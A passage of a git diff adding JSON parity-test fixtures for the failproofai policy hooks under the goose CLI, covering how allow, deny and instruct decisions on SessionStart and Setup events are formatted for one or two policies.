"SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..fb757f04 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..8f3c4600 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..bd4f616f --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d1dab102 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..ed4ec191 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9637a553 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..54f93e30 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8edc3fe7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..928136bf --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f07b6a13 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ab8dcdb3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..78ceb9b1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..af3e6bf9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fb4536f9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..64ca7bdd --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..02ee9c46 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d85d299e --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2862af18 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6e2a77bc --- /dev/null +++ b/__tests__/parity/fixtures/goose/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" 